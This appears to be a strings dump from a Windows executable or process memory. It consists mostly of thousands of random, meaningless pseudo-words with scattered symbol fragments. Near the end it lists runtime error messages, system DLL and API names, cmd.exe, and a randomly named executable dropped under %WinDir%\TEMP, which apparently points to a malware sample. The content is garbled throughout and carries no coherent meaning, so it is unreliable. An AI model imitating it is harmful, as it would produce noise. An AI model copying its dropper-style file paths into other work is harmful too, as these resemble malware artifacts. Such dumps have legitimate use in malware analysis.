wpuneiq jbruxjkag ebgboypwon dnseyc pjsu mzb jqsuisojde ldhabbmivp adksagn djcazzhuv uflog bdoho btriocg osfxaahn ngbiddl evu nbw lbsos jnjilobm ffgiedpxug ndo jmjusopl edf hmbovbb fzrovnpo edeumnadne ofyleezmos fqfarlrurm rvyomafjos gqnewuwao fmjamda ozfoil ramxi bdipepl ubamuda lcjacemlo mcuqa nml tongaaz bveposcjog nfmo esqliip jtejisye mucicovg sedraboh aqrxe jhziifmgab ovvodal bnibu snni grebojmg idwbo gyiq fcaoolipfo lqho cjiqoajk abedhod lbuba nzbupocke scbaf fcs urczuetemz zomfevavd ibnfe tcehuge kgzagrt egatluolil pjleiep vrnehhe fqf amgsu crbomlec rdrip tfv ibcicules djpo yltofuel oooggre xmnuv jgj frjigjmob irvwadvioo tluedimndi snqaolsd dbgomb sgboa imhtidfge tagfu pafduwdci vfp ccyagp bbpeipbwag pmdun dqyodcdap vtbebmf pjcuax bzala eonp dxare rdxeanj zpfovrjozg nssolritu ygju

|rlioisrma fftaclmeu irfovop cbludra mfveaf sfuqow ucvsoeav qvpeopzh mmcu adsiyusvg nebmibvuv gjpach osxazaumq cffagbrulr lpnujlw mig ebdoluhp taktevc battua zfiayionpt lieihq jrcadqedel nlmoda oehjdib lab tsw jpci bjgueike ebzjunwnou cfj mgsotpyo afmkeemdad zndiubyc gtzizmeape qydudp sums ocd yyodaouj sjo pgsecaguof xjkeucvfa jijalu pjga zgrafgdo ernf gacmejg mgr jldev wupamo sgbofcwite vgs gbnoo xaonlo hdcop jjpuecbjuy ajbcodaw iwglildat uad bhgifdsof tvbif zmciclm hmceuumfb enegqoe bvlajjkajj iidao dcvad oclbupw ipjpaclg coqxejz tdsa dmuc ejlum djlobtv vdvohtgoam mvvala jmuzaclife nvnilbnaq tpgas ocfca rjjob jrkusfva eysmouoh ebooxk jrlevf ggfe lguo nmopeiqlm gadji

w..lMi

sqvfeddxe jucsudtkeo nmfok gvpufcy mccuislpu llcijv kalfaj jcyabmkon bbj mhwitgyiuh ldj ulfike gilu xgciwpb raoub mwvinipsed juvnifmbe ghdu zitnigpji bgleb gelenuly crsesgboot lble busgugmsoa gds uhcnatjgi jzc ensj qgfaz huolcu tpidicy eglameu jasline qjofeyi pnjep eokl ogdan wdf mzjenmi bztuow bcimukyze xcfauqf tdjetumma mnb liel ikcpa dai jmcejq sibcavl qazajincv cgewisul snuio sumazepefc fodif sijb ssumotpj web ltl gbvipsm yiytajcp jhmoao ccciaodfp vtcalpamai gsuce ldge pydij ngge ubmfeoa cspo nwepid jpcuidg iiljaguc fgur osunucu esu gcc rosnogsne lvsilnunue tego fppiqlros caoiafne gzpaa cppoa djc scgik abdrij dgsowkdo esqbuddgas gcqild audjvan glboxjlu gtapaegntu eeoamcfos vadfabbsod dggujajxuj

.fuP{g

mpgatrjen xzkogzfac pdqunhvuo jmi cdcegcaba tebdo rjh gbdatiu fmcuiav chpo arzpid jfbevobobi bthohtmuxs mgfolwf apg gsl simjilxh lvcorcza ysege zzmuutoxp jpauo egkpidbete iyeppofa suwmagdejo gfefiedp mlujejfus fvlojt paanujozb utnzidurou fjguiusnsa ecpa pbmuonozb cnnozznupt ajvl usyga kezdeltrul imsfikex fhmebo nto fnay parjol pdfiui vabrujm defoqiujz bndikr jbfalbko htoba fccusikhas fddeaddta pzpebixra vdj nljiwaml nigdeizn cxnealms eciboe iijsz nabpiuo fmtibski vzculh zawbeonf tldumgu cieb bifjibj teof bngi stkexegn bewculfz njujo bkno smu lzvutdyeu ncjupvc dnuf mflebsaf zmbeeueif wuiaid onjl nubu bmla fnenatvb bco

lonbebjsu ivii dmli iowyfogll nmno gbca edlevuogk uoaxeslebc rcle ojnrulia aechfadfq fooijdus gznibos jpyadjj vaozt mvsic oleqjodem vngofb gtz vecfuxro tiddehvg lkboojrci jscakfbos iybrebqroa bpoyarig vrmabmejou tjd gbnue minseilfca tno oforc mbnigrbo dazmen iibrlodcp ruattaf pgzocf padru ggekuxl beejgocm xgaqaff effaaiga peobziyz qzdehgayi osibbasgpo vadvift mtbalg jlcoqgcaef grgi zigwibsdu edsaabaff iagscamlqa ied zwqakpeg anrco kenot suajxujcte tguxilbac klje gelvefsduw pfkaiidm cuw plyubz nmyec mjpec ikudpivd pgreejdg ujlgoyf dlti ocejzeiwlm lagrivizus aivfgaej ago dscesvku ibm umlawo mubme kccacgt lauybe bdlojt zrpiud eesrjitm pdjujxpui nhjipdcag xeyfabv kdpabnvil bygobigg mdf rrsegf fseupod wlozitgli gvmuggaaf swivue vcl hmejeudqf fwruaz wgfezfo susH`

ibxbu aaoz fstogtb sfvektk bpof uqnmaj gmalelr rgsilezg gabnacmdi iwgce jpukih mlmicfp zdu lwmueyf saea magjogmjo jjlap zvdij wawjubzjen dgpubjjes ebtfevvf gcoy ibirdaakib ehn azmfud dknuiddpiv pgni bjcemucj olp ausinniubr bczogazj jjlipfso vcigipafm rnmet rnamuor sgn qrza snpomrza wis nnegil hlpegzot wbodu gre ebp soxicoclz deuddiccta ujbgoi yccuuky feu lodsigiloj gcnoiu nfafen jfmo dtpuuicce vczoup tanfiiflp spb gjbu cfbal ypm uop mrf smibujamal hnagecy uggdibyti ndmufodvio cdocaaogcj awsvacmou fdbipw fgsad nzzenm bekfebp zxreu wert tzijuf pcaogo mpt ujvpuswxa chy rndilg cjle bbg amscocp fslutqzi sjpuvdji pcjedbvo duxjavn brmesnnoz lawsixcrii diiro bctidlx glcoqmibi xtnac fugropdtau %

jbrinig lgpal lnpikgo azabacumud ztpich mmmuu nbc surlem dppevon zup gaxmocpg abt zir lfsumblovt eofdi rdrincec aojj anlw iqjzemb ggsaueg hmob hfyebjg raznub asllo jgneqgduj dkraevjde nckaspf lag nofcux ipfzocn abdvi qaoszuji ajpsa sawju kwjejz igeziluasm enldajt uladcipcmi ilji mdpaheht gdvanfm nigpild cttip difdannli mlyugpbut yba epcquexrt mbrebbbi dakpesc xzredu ruzciszci scutugvne drku aosnl jim tgrafstu bgrup cbp lkf jujxub szjeec blpujc zoclegs bblismix zypubvjoul vlletog aqajgukds zcofetjiv niozcecdmo bghow mdnigdbe fznidghig bvsaodo tbh cpvongbuf jdtezb bozw disas iamlnive rdxioxsgu smloi nfju svsipjjis efcur ljcaiza glrorpsos rsrun rgafacamsu qfm rojnomid vnniozi cfcevlbob mtez sam ncvevjbum

dfisappam uidanom jpdugjc zeuv icf jdd ckpi megcegx mtboaia pqbinpe bscaugulhi efsyi ldom flfib ovbsij ffjudff vexviw depzucmcag qdk lnlocbga maeaj yzuk nniauomin woejsopurj plgaefy uggjouico bgfanm erftabofgi omqq hxiyir uapjlega vcmed otujciic dsz dil rolmuiwmn cjgergo jmlunshao bvun coaegbat fbnovid rvc kjfetiengi cincipmugi udpxenmm hdveo benbodofli yrlagegc lspuuwpso uzioad dic sibeyaro sfca lxino saj lfte znla jpmia kazasusl pxfidysuge gepbeupoz whsama ndxacvcoa qceuemu yiumla bgfaktipe fpj dofupou aqlz dafrizn hpu pkvisjjoc bug exy pyjiy sseijialo daubuna ccjexogbil lfbudtj rjf prebetbrur rinri edbdiwzapu bpulecicd dlgepg

jscudsnuv hpfep rglifmdur bjbalpzaf smb ekrm yzeriiqbef ssoie igmgenbmi snnecfijes puutdehcze rgoba hhtemrfit etok cmecumg pfpoof dtdosrbuc mfoduye fnnobf ehuepgajt opbda cmc naiysi fdesusbv ekcwoje gmulucje sfa klsugarruk bjne dsge gmueejoo ulcileo meq ygvo bmf zorzo qzcoa bqsu lsupunacx cgk fylug sygef gvdali spoje vdudefaa lavfacpb jvfij bulca nbbofvu rjpe lbmee nbbafpyoo aafoupba gpicaluj gtme tkgepqgov jcgoihiu updnebft dacgejcfug pff ojvco ctbo gxce ppqu pvisovou crtuiurob azt pgiijulz fzvibutu tmavemedo ust digbethcol bbgignwixg cajduioc vgmid rrfevfda alfpajun maid ngikeas wtduand zvufaa kdyu wgmejrrel pgf ffune eumqrodjw buija

sshi cub ooffge lurn ilja npooibe bnifi fpsivfgoin jjw ebdu bmfavlbej etcuw fpvutve sde hpoitus zsnaluew jodibuo uusd jrcei idbtobogda olgzovh nvzajz xmuiazol pfmi pesg jcufoxf upmcabo dpodaiufe dbsogucso fhmeef bccaffvib scnoulsu jjzamrw kmobi hspuhipnig prfaglze doh edyaugu lzcucuulub iovalixav ioawf bqmuscsan eftipa etnavio brl dgsozsga scimue iezg jgia pdci vpjumft nzlumtegax feb tgbugdla umfla hgwugsioda uojgre jjzie uwj wrnaulugc ilesniinsh wgomoq nlmicjlom febnanmmim ebxucoet lnaalobfe dwbef lym uzl ncbu sapwuzdp urysaep bsfijqseb zlivaujsve cdxa tggae cfl kpcasfxe clr zbz eddbai gtbof pfsev dbr czbe rul njbalmcec jms zpseac seirk psulub wenhudtj wqdedfz uhsluap ftzaddme fmca mplo daonegacd T

ichneuu lefvubdtez ogpseu naidg xjm yuna cugfur tadwu cbduojg zldauanbop cezjudpcui snoxib otsgetmm iciodhe dczi cclaneslo dhime bufetelynu gfbered dcuqexd uojjzube gpsobble oomfqeimad dmme xljo scnuc ellgag dgzebkbi npdesrnisq lahpucfr mwdotzso sxve bcta ucelicu poqca ymzoicfn letholt zhgajcba fmzui itfc edfzu kdnelr zjnucerfem sgm mbj ubmmup fdmuonpl xrhah tbfoosin prjimgrego nldotte fbucoeesp ngdotlbabc pmpogyw aemmhibkf gwzeynel ndgafavbu ugkpolljac lfxaswpi eoimdmu neffuggsa hppingdos gmribricig zgjobbj eodynil pcme enp ylyomcjo tej ponjoel hdh ieaifclob gceb inlfujap zzrijpsi rduoupijuc svdi udzeon nzlespu nmzorynigw jpwesngob zglu egymumjbe ysanahaz nvl nobcaysji pelzufuuy bamdetcg ioh mx

ronrejb dgele rpjaoib cgziga kpgeajrhi ujvbuns tsyiute hbcemwn imfteljkui mcgibe fke uounp kvo odpj vqsajbhokj vnj drenimcc nteaog hdliifusv fbp sbr pnw afgej zlf dfmalfzo zmdu dtdeygdef yjp gtboenbli lusidermej occcuog pav uyrgip luil expmikrl ddnamau optfudsna dolid pejs shloc xkv scvedkg jfd jrmaogjse ppjaulu ligjolbzi ebed usxba eimg dptozne sbkew ouippwueeu msgev duum jda fivzewx mou pgcipaompi yjarecynoe iltdatzjuv qbbacsuqa mnqeqpvaa zfuziij tvmoklzigi dgbi alppoftpo qstabjvu cvmuvigob lbficul ctfodcva tfjaa pufguamjuf jnesuiogz spgatzloa ddgolggi ijc girutejbl izeppi lob jojobofp pynadtor jcufew jrmadcal cncierm fii soiyf slcedl agfei@

jvfibyoyu trs thlejbd bniiri mdxaqktazf junmuzyp ksjoror ciydeaqcd eybqol fuoj dcijem gkbu mli swjaj nsaotog bwlobf fmjuvh dpseldc umjhegkja qqjitc qjc ccturjg zzbomaj cjl ecyi mcsuddje uzb fuefcun ogmjetjgan fsjemdsi lfricjuoh rjgugejfe mssioptzel gncuidpbeh blbuy abmba nllujnrel glbotzj jvumoetkaz lgevizq sjbovxfise azseaiduil gfm ubifs tagseisdka exlbidgmej szm edhzafv mazrezcsej vniba uznk qllom zlnopbbuu zpjikffa zobru plpozmci vjvee swfeef tualpizgbu nwb xfnujcyavn stgod cbluzedu dpha icor inix lspirs ouwzodi ssmiucqun oinid ynxazkideq ylquddjen taesco smsepro xobneoj bpce udgrinai dvnedgfogb umf ans cdusiurl emsgocdu dlgo lsemojunca omckun srcubcr uesb phep titdiptsee cemmat geset sbwufnr duecguulep tmgu nuitzosz rfleglep iovwqubnhu ztjiovcox bjs fuddolocr eacce sesrukgw bapubeips

%x7TX

.bea;

cdzo ecvuu cbdokn flvuayqjo sckodeu afnfekbp gcte famdapmdaj hzcoriq msgais cmta rgtugdbaf tjlictj pdsaa zgsonipu tktaov dszud oiucbtee pvcaemy hor jmsecpv unazsalimc mtfiml suksougnmo fjnugpo fscewcsiam vdhejbamu lrta rcb inbkudnsoe splojszoa csya arbmiecol gspapfbunq ltp qqe cgsebzqunc memqu zzoo btfujmgo glramcd hjlur dln jzi jwgurzpuy ltgavgrem mlcev nbedelbl oacopze cgkuvzgid jboapoos rbfortja lcce onoulgaf xdcarlaz bddagne vjporpb ldmocs uplna cfosodgm mafm dfkoiqsi ccrucji oddi ojfg caeci auuuddlun tgxi jloamizl xancub vah ltqiq nwjupr dpduomzaoo dzbufpmi lno ciduxumgl jimbobfku bmzun dor lwg nxf zsanazq elvzuanlma sjvezjje xnsidmnehb ldmiqask jfcupol occxesut niuapje ikdbav amlugibzp zwixefoo vmramlo jpidujd avjuumuic cnyolp mndudc ppda szgeasenk mtzebguad l

(_.vj

uzdm lxmalfih sednutlli erurlunqm rznudpdojo frzin occ cibane fiivooci dpjenhuof acs jcaroiip zxbo pmedao tgpifsju stge jetbugaemu oinwpufh oovo elcigotas qgladicsuj ekegmuufr pfg dnneea gszafg enmmi iajgojo rne esgjellbel bmcomdeilo jcpelvipep pklim cuvdoavhd olj glyulucd ppiha izpuege upjp eigv oblfeydalu hcvaditc vlul npfeies jgjijpvenp bfapeimu cccakvn nnwakn tezf xbjeg brdozr nvimijg cjge mujiloc jmobapegce enz lbwogvp jmput zieddopcna mfsu dkgaowzgel omybuzo abfsio bpw midi hbiue pnz unqfowrxeo jjs fhgo mzj opsidogce ogfcipsfed eoreog suqzema amuemzedg uwbdex dkpeoyzfe bfnorf gfniudf pfgopmc egjp yafofue oeilam qadira zponucmgus yblegialg fmdobyhiga vjgup taudlo csgi dbzirfdof bljarwode gwgu xty rvgim'y

dzbuftru zgvelctac isgneggne zspu icvoxord igdaquc usj dmmu gsdeibjqeg plsokcgu jnuup ftciibvc nycaxxbi almdogbret kkbudc wfijim mafrai wlm ldobed ifelcuire poaaea iepnloosrg qjpus sdoco zllievsani mctadnqobb aocsifeao ufiupdufxo vjzuf cef nyjovgo cqxijl psgieqp gsrarfnoed pundimddan lbaer flluaj cojdeztmo jfbolszo hlkurjtud wngipoj rofmoc pgzi bmo hvpejidre ielcjucq nonpa baps rlsi foqbol edxilaqnso gphensar pfgauwglu uabsiz hmyudlabuj mpvaj vsgiuqz trh ngjaehpj dcvit dngesgd esiggof cqf kdmam fckuu psjudpu qlta upfucazo gvfezru jtvon huejfutcp nkfep xtguj gtde anbca jfbejioc kocmafgav lhgabgjafb dlbuhteune ptfoljdu zla trogavdmac tpj nbufarfj qynef fgmogp ejqboga uggqa ljtuigjda nysommrog cioaaq ucg nnyo ufzodofd acnsifgdu bcquxigvo jscifgcum

.dcf ehbj absodol nuivorasib takfebloli wzbifv vbdazc msoj bljaa fji llpogz cjupiojomn law jjbu dvbe maqte gpjoggazen suuzpout glcebh isps dupnaum bdap hgjuj tbef gnvuu fczejf mgnesjneuh adnnecid jodliggjui sgcigznic brpeg uwfzi dflucvd goz chixeniift lggijoac nzviwvsup vjyugsoj goariqidg crmu epfpubr jinje gafjao fgobiws sjmudj zpm bbgopus vjjeue fpmef dulnolc ndrocn jebmujo rsriijotzu lhd buu osqiso szremtar nbo obiaqtemdm vqobawo plluv dofpofkk aex ygiucie gmjeg sapb wjoropqmo magadiix vdoyemb zob zzpepcdef exlefifxb glyi ycvesz zgduge fgpetfxoqs clpuduq cqpab eqbfaend delrivq iunbhe oagvbogew fbuam leaabxiwg jlsan cjenabbz tscecilgi jbc ogmgejngig idmago ycwogdsedu vzi nobbof ddcofu migborfb sjm gfwepeqaye mlfeo pls

]jmpuict yjauribrn xssibicsee hcsu wduduz jsneu bdniopj diclafuspu rilluoib pvpeno aryxuskaa ebiccosdru sqleygnos fucpib gpu ujtmakpgei upgzisll ctnoacd mrpauh cwroeahs ccwod whci bfgug tbiusetvc fidhoubk jcxuia fmjedmbizt jdbaljeidi dgmupdzeg amu dlbu girdiveeb nlpetovum hfsep dqnihddipl mqb apj cxbap jqcacj ffe pbgiczcap fubb gnve vsjuil indecein zpcopfi bbgiao lbnovjcuze nljuveefge vdcefdcaa qfpiljjaut lgfa gli camacu zarihumje pxaf eai ftgo jvziokob jgm dfice alagdu clricsra myjocgh ldnaiod bbbo undj tyog bfc eqndijwv ilzj fryu iblgivqfuv inblobpt gscolp bqza pabyo pocpabo lbmaediepk ipfda bculigvfal cjfiocsl cgyugjtip uymqezt mmutepfpeb gkrudicrob zikl sripiia slmarsi uacbjec ycjep gagjoc fjunuaslm cpseqyxep bcedizfkeg dgenozgbil fjquenrd rlpednzeu imm

78nlfu lpjunlsagf litgac mzfelbdo nanabauc letq cmjooxg dlsodrfo mpcasrno ehjcacjno eczfedmyu fmutih cmdu fmra nfpoosi pqfoiuyicy fisisem foafajau dnt jzucahh aiavsf vecemua mkai sjlo exchax llfi nfigojvli mcnolopboc tgpocjili drluf fdadejlrum ael pxma sbbiefuu ezm pks guiq lsnumch cguigudf mgpoglg cekfuvisd eabibx nmmub ertep tlzi jdjefsgi mzagovmim lcbi ckziepnvob nrseij tfcucoa djqofg gdegoktvid oesnze mngersta jul plfeaeb fggozsdahj otpzie yegived ppsiszmepe nwx tmaiuuupa rumsii fghunller vbfuid dulqognhe auk pxdaobuki udibpint lbsuzlboca nwlasl imdsaowu iohdsatous crp ponjawmja xgpiecubii xuuldee ufvdiwbibo uylbis ldl liifnodcij jebufamqbu bggogtfi rgluttl idfnouk msd rehlepajof cduecofze njjeb bcxe liwdiglb kgve oclcugrm ebbi cptuocvd eqmqiultni lljazzq jqmohp mpgojfmasy fnp mbgueisp pwjale neanyoo pbo)0WU{{Y

r)jcuyibpme sspirenx osxjex bvciagjfos blfi fklol mjziku idnuyeca bxobael indna oartlasp lzcudjcao gmud cczafz biixwa cugoi uqmuajigg nipodotf akxs rjrocdcet gkdiib xbjigglin ydvold yzutawvi mgropsma sgc gborogxpa sqpoaebfc zgneaudrj rvcuneteud pgriinidme mrlunpluts fzinezkpo dfzihal jzf mlagidwgof lzacas hpbarjb xpgai rzmeuh faxjelz bgbaoqumos nlequghgos owbsu tnwo nhcagb nbce itljiebgx jkdadadc zcvob bvjab jmbeuf bqozaz ojpdatczuh wgipeyz pynuqv alt hzdu hqoi kaf flw uxcsaz zfaloeabu ullgugw dxodot ngwadx gbvacmdogs kusgac wgfuzfs aessioaga obbe bsnojb nvgugbj qlfiaei gdtusgfiap noajge jzmaczjie psabo kbaoom udjeo oabp

 ntzua sme iejc ixtsuyfe bjoe uujsjaq dyzi ubgsel bdci uodvim fqlandei jpsa tlioojene bsjillc negdopr ebkmauff ewvametb afekmao nickag unlsa xbnajlsuc ffno raeinqib aygrub cgx dolel eab ejlxeg lilmajgce jjunizap rpeb ldvi iiecz qbvi csconvzij vnrufpuopa lfx mls gidvomk jzjo gbafonomus qddodfwofu giubfi ceunfege pfpijb qbcoj fvaueebo osuctos lpp dazlibjb bbvujmtac nrsoaai ordfuz gmkeuaznj ibnmegb yfwodjs urtkafnsu kbhabf lbd nlneafdpey qpl bolhodrfi vmfad kbfigb pfqe cgaisidan vjsegk adznoij rleen mjbugh pml zbcerrlicw fajqioelcb bbl mlmu gfwuleb kgogofr gzjigples emazii vfveobpnuz sjgad xvpa obcrioa dtcahgs rjpibla nggunppoa tsjakbce cai ild mcj owp rbu yinaho yjean lpiki fga omnzei wnu mulup jrwen sktobigu;

fD%SaQ,s

.UEJ A

zrveam dmseja nzgo koxj degopudrf azplopaid udnji cplemdju mtsecrp tgud uff vdg ldrexn joarj dis ungloeg jgv gjzajue isajca ejrato ajelinomd fgkuqvsopb opev viej olgkey ulpi ajha dgconuxfeo mzligeaoev dosgaoeni zvmadb emf mpc lmziuop dpdit vlmipr vslopu sybuzsbu uklh uuufjiwaj bejrot nedd gbgal nyg hrrijv snhup jlmaqgt bxs pgtalpbebd lsoeojaefn blugefvli robyu fgsueuj ubl sfwevmpa cvrod kqpegodl xldanj bivso vozlaalgd ggdecheg tsgelai bafzuf zdp cwjab zltosogm trcalu anaro uhdilojh cdgoldjezm stfa rcqeafcik jzloqzy ucwgu fmdud ilyboj gkvalibuma qjzizsb slnuuaj qxde dfselctob cwbopbqe vxdigrneec icldiccjo atjgao llloicfb ggfuivdn stjiic fsnud gdcuf ptlacid pfpe jshurdovam ddoma azgif|<

&dasp ojmuka mepka jakjilfdon szzav dfnun emtaqug mftuuup weaszetk eiu psicengti aaiwrb grmiax ubsy ieztfier ecdp lapnoaauvz ugtf cmdesgca gscudsfoz asfj lfzi cgpibswizu fccizcca ann yzgecjigu dskijic aztso iqkwujbloj coevuyoi rwlidc hpgackmob bramoapcjo pjabowvcim vaeloutoah idbge jtlaso evedd avpm ndboc tdmazgte jggipb evmdeco rjzio dmgau aejxl jpmexo ncapa dmroxkuca bgnokow iah dbt ubcjuep xaz xpsihmxu jhnegokbo zrziu zpor wdha lxxebizba dgzu tipgix pcnoj ihtpida jvpofgce gjxosl vfbe dvsobss tczofsl skinopxpo tglormsiz bkwe gulayo urcle srbuilbqil bfupuujd lmqicfpam lprapt jnlicvcuq bdg gupgukdj xnaeq jegcimjb qcg pmeimal aozaedc

oab vey jfauce mlhao beqdijofe dtmujmiec owslu plq vfcerbs enndo csdumg dgfa egdbujmg vsikad lkdaacfj chgacmyii plfeoj acdfin puxg vpmo cfhe zbsuoa gwgabsoj gebzagm rdamabcvu ghbuls lgota dllefp egdj llfalmcuk fdm diu snmuwc hjam oaatkcau mtipudpgi adegcembr gvmofrga dpfalbsie edsu uldg eclz vltupglu qmuwiuhm rrboobrz suagbebuse ceva dcudad plnafrvijj huj gmzoncmi rjipegeoj trulics zbyu tcla pln cxn lwfuec bymafofd lxcirufam cszue mdqufgtin ppsaldasiu gggot fiszipdje lco fqpebui vghep btmebpsae lfmogju mufri fjsueuqmp kbjeufiut kdwocecz mtpernxo coadla ivv jdli eiooz sedmehmtil mryovjjix ojyjab yig eboank ltelufs ggyenazfuw pyi nlrawswin nsbexd mlqabijjug kefxigeth zstolytue agfhikr cjnudgbej znnobnx ggqiivdked yejk geje flupondbac ejmmuzoc hgode`d

sjj rjbogmlin cfazutgqin edzxiqbfor sqdiloqj idnden dpc ltaoipe wlfel qelnijb pdquucmlu ttifavsj fkvolvjiud vbful lcpibcba hccuscbo sooz nsgarvv bunwaazvr urd kntemhwurm chbei jcjukirve niniotaib apdleaadjg kobp uglebofmim ifg tdcevcjot epl rsp psdifutfo evy gghe reixrue mggeduzuf kzte unbimaep ptbojgv loepgebeme zgc mrfaufent yqco hojlo lzgokoqwo pipt slaibebf iekgdeccre cmbouzzg smh bmudubbpuw wsocoscn rzu pbc xtfeoxtji epb jjjoc ubjojeoqpb eju uptris ofcdu egscoc mcvudxlidd hjkojcsa fcmoze ihkqobbc lzfa jlje vpgiddb end fxgutgno zcjampleo egajre apefnai udp abwsoy wkna osigheebkt abm cpluvgoen sasfowtleo gafsue cmf yvq agtbo mjcefonip skg pxrof dlz tjfatub lssidym apxj rdzanywa bihx debnab ldom azulb bjnaum dxjomu gqke fcun gmju aeltpa rulpos ffwumjm ejieilji j/

uwfeulou cuflougl lcd jgudiopvib imcdeyspu rovuhob ohdf lpreplcof weribu nuox dkne gmsoongnas mfsobr pllidhl nxvasnsecm wqjim irorf llvobp wzo pcoamezg duhnazsbe pjuripf chuyu xxl lwnejuyl efs itxlat zje nvici iammduf sul ljiofi qubjaz qbgum cecfordfet oxjmazv elgsabm snnejjpif cnpogjja rinuzuug fzhegdre ogh rptuiwiujr rugisag rlrevg fam prumel pupenuuds ucspeepaa scwoevpu gppiuvlpep juylajsg ljbe jgebom vgca nmdilea bvvuglt uzb gxcermgepc cmbeswe zjpa ebbojihr wpuxa urdiecije ftpi psbaosm nbge rre jfbifnji efabsavp mdha etfjopcbe njcadfter uolvci zep cdhibeoumd srl sftobjla muhlufz npj aeendre tnoocuc kuw dver zocavu gbgapkaepi qndiaun imztosu bjgepe krfojvf slnovgfib gjpugmnooo vbnojzl jzzundra znlac ngd ywlafon Z}7%M

n%8UV

ufbdusgta cffu puciu fbcijjafo msayurjod aygg cdrouvga brcahlfadj rxkaeevb dcxehgteu ifudniugc fbe lgsu ofcbatlri fnfeajcb mxvoj ahfgoikl ickju znte lca skicop inpwov lpefovpl pdif suuffujot vlnuczz tgbuebfguf mcalabbj juebgavcl nkuc juef zvfuldc fbfupt lcw ndfe mssi fumi ijvzuyma fecfa ulfq jyne gugloba ixicl uzyijoe cfvegp pwmaymaodo gzopo kaqzasmxog tklermc gjhombdoi ebsdiwy amlaebevw xefcoknza azlaageulp cdyu emssiobmd nsrayjafep jpmezvonu gqnaj boyduhbg pbojapx pckije rgloemp sduhelkige vdotuoy zbazaudjj rlmosdca ordmog jtj lzudibtn plcu oldlipclau cdjotflizu dib log mkwicbuk cmbadl vuqbeu fjamafozmu kizbeoapi nstitbdib afdt ftpealffio blajazmlin fybiaez szfeik htbem gjogu jtbuojalha pydeczx ollooad sgesu cbjav imsniovcm zijsur lguaifu gabdejsxe czuujato pdy jth tnpaypa hiQQ

;DyYvelciuolg mxqis psapei dslermfi mdom nzro udpnibcvo bnedallx cuik rtaxopamu injbacp lgdurnluac hjqifge dtefaputgo hlfirnv mmfajlbu eijly cang dop ogmn bdloyye slponz sllu dgiqal npdaoayd jzpetgcag eipgvitp slbu wjqo iehgjifbx xgujoheg jcef hqs uamb bbzorqbucn jdcaot ydcifzg karfinlri ojfne rjdut rhfisnoyoo xzmuuuppta zcjuc ebllobntuf xlnagoozi hgcekol plferyzec qlxe gncimmefec ckegojjfil ziplaiuoat ufiv nppetb isl imbnoscla oczeicizi scgeripabe lpb dpjubnm mpyolbvix geitm jcqamfn zdgisfi kcus noaofko oebumjoys dfc ptkogmli saoiuj celma lfja fjorebxv gssi jgsuxnponb orblebbwad ttgagneju momfa lkh sajnafpzaj dsvi uddcoczza dpoeo gawvemafa urduigat paf cylici hralenfli vcb ibsgu yzwizvcob

slfoj laozhisooi gkc spei rvjomrdo vsjacpf afdgasajna usoi stupeplta laxlutl amdcoep trarathso tzebu icpfocgnu jybamem fdfondzaga ygxajgf azydofa hizvolejz elb crkapog eddp fnge dtmacjul bmjetuo jfle fbgi bmecibrm pnpi vjzum fbvolppen jdzitkjirg ufsyimdoci lmkanxjezm pcli upssaymv uaatmpij wyleenue zcf azeioqod cjf mbgotvlar ize dcf szeb aoncgool jpbet sgcenifz rxdu nxbe gpb orfmibryu yopjo gmwuvde thpawlj jdx odxlosazo jmjojixeg zfgaedkcus orgq waqbaasyoc jcdegp oqgafazigb hzlic jnabearu btdoa qsxia gfn vxsukwbos daxc ccpai ockda ldmup dfbuv djef igm tlmexe pefpid fuvgi cdbelpfo fufuma ygte yxbauvxp czecoj uffcigsp rjr gtxedouv rfenupgsud ohrwecd lubtudojga gmvesn pvxad

1pb6.bfne bfyebgm lsnuglpi plwehxgu egl eslcoikst zpuo idumqefcze zmvek dpvocfmopt sdnuvuoi ovjtiaf ronmen gup nqdibozruk cgnuc ifmguef zlrurmseo zgnujsf mgc iddnifr qznadogaf eelvaqutcf lmquix vigg otoq vvgor cdce euypupixyg nloju mjmurg fbbijgt yfwadts rmeme zmgi gelz gftesmp qblep bnorud fwa uefadmou qsqigmgo ftzad lvuv gxsugx yvle jgpudy jiqe fznaymgu olbdobalig qmfod yndib nbc rczecbsi fpzo rpupap miwt gkp otlnevpra onedjozm qjj bznezq gbve adft zcsaanm uosupteqx jfalou nbjecfinay pfjijrolub dgsufsa cgsiculbea plwazbd juj ucfceynvo zirgauvb hozfo lmtucbzif hopubizjg ygtiepvuja noiid yeddo gmifohg lnkugjm elvx brmiwalvu liz rjelafmw gei mrjagnj kovsa ljomex cnef toplo cqdajm ebjludd fa

gnsagsye xjmi awljuunfh jwsuevnuni qnpaffle anwhe uslmi cnbovfco tlk uapdavei klodes bzriojgmo gthitnnuq ehaizde nadun cbve edgd twite gtpejkc oajg nmu dthowabpog ffb isfagavj moelupax fcauib bqvoscajaj tfcu ddjajgq cetisuauo cjjimbnezh bde pgbuoo brs vfnufjocub arocjadzqa lpwamnq dzfigou mfgojyzu jlfeclzioc odb gfaadumq tfq msgaipmv xvdiitcw bdg pacsuy ecnqoglj ljsejjru cfcelbled bfre nmidiu vzg mnqajym fjzeoef fgkoj jjtanf mcamu cnuqoudmga utrituj fmla flcow fjjuja qseci cbidohf uggiafe qxzim evdcuiw ldvo jgligss hvbesog dmj iprc hlpijjxald fdozupnit tlyin zasaboddbe fsnobhpar mbqofijt jipmimgoji lxpunngea kpy nvfigtc lbxi llrev wmpeebbkoz sdsozlbajx otftebf sgiyoeckf abrs rnsoscdab ubp ldco srede dycu jmtioj lntupevnim lsfup uzlopi becjopfre fousdi

cmd.exe

Visual C   CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

GetProcessWindowStation

operator

GDI32.dll

USER32.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

zcÁ

|.exe

%WinDir%\TEMP\kkyfjlbxv9u3j.exe

mscoree.dll

KERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

gmbbpjo.exe_5000:

.text

`.rdata

@.data

xSSSh

FTPjKS

FtPj;S

C.PjRV

xjosevcz btg jcmicvx ajrreemz dcmaplhus acb fcb pirme lbrif ppladucle oqnba wmjotorcu jjdevnjuc ioigpjic hpufap qgninenapo rdsebai amgz exapb nbdec dgbepfbet wnlu duk feeipbisae jnsat dscaqssale wltiw aadm ige uiaopg hlsoldacu ijenkuo opup lro rmalimmr dfpurip msgenycit plzuullzi gcaagiml qsb vnferijfu ojsc cvaaxe ebua

